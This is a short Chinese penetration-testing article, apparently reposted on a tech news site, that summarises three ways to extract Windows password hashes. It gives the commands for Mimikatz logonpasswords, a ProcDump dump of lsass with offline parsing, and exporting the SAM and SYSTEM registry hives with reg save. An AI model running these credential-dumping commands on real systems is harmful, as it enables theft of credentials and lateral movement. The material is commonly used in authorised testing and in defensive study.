内网渗透—获取Windows内Hash密码方法总结
2020-08-21 16:03
美创科技
关注
1、直接读取
Mimikatz读取明文密码和hash时需要管理员权限。
privilege：：debug ／／提升至debug权限
sekurlsa：：logonpasswords ／／抓取密码
2、Procdump＋Mimikatz离线读取lsass．dmp文件
Procdump是微软官方发布的工具，可以用来将目标lsass文件导出。先在目标机器上上传Procdump，导出lsass．dmp
procdump64．exe－accepteula－ma
lsass．exe lsass．dmp
将目标机上的lsass．dmp下载到本地后，执行Mimikatz导出lsass．dmp里面的密码和hash：
sekurlsa：：minidump 目录lsass．dmp ／／将导出的lsass．dmp载入到Mimikatz中
sekurlsa：：logonpasswords full ／／获取密码
3、通过SAM和System文件抓取密码和Hash
首先利用注册表命令将目标机的sam或者system文件导出
reg save hklmsam sam．hive
reg save hklmsystem system．hive
然后将目标机上的sam．hive和system．hive下载到本地，利用Mimikatz读取sam和system文件获取NTLMHash：
token：：elevate
lsadump：：sam
分享
声明：
本文由入驻维科号的作者撰写，观点仅代表作者本人，不代表OFweek立场。如有侵权或其他问题，请联系举报。
图片新闻
最新活动更多
-
即日-12.5立即观看>> 松下新能源中国布局：锂一次电池新品介绍
-
12月19日立即报名>> 【线下会议】OFweek 2024（第九届）物联网产业大会
-
精彩回顾立即查看>> 2024 智能家居出海论坛
-
精彩回顾立即查看>> 2024中国国际工业博览会维科网·激光VIP企业展台直播
-
精彩回顾立即查看>> 【产品试用】RSE30/60在线红外热像仪免费试用
-
精彩回顾立即查看>> 2024（第五届）全球数字经济产业大会暨展览会
发表评论
请输入评论内容...
请输入评论/评论长度6~500个字
暂无评论
暂无评论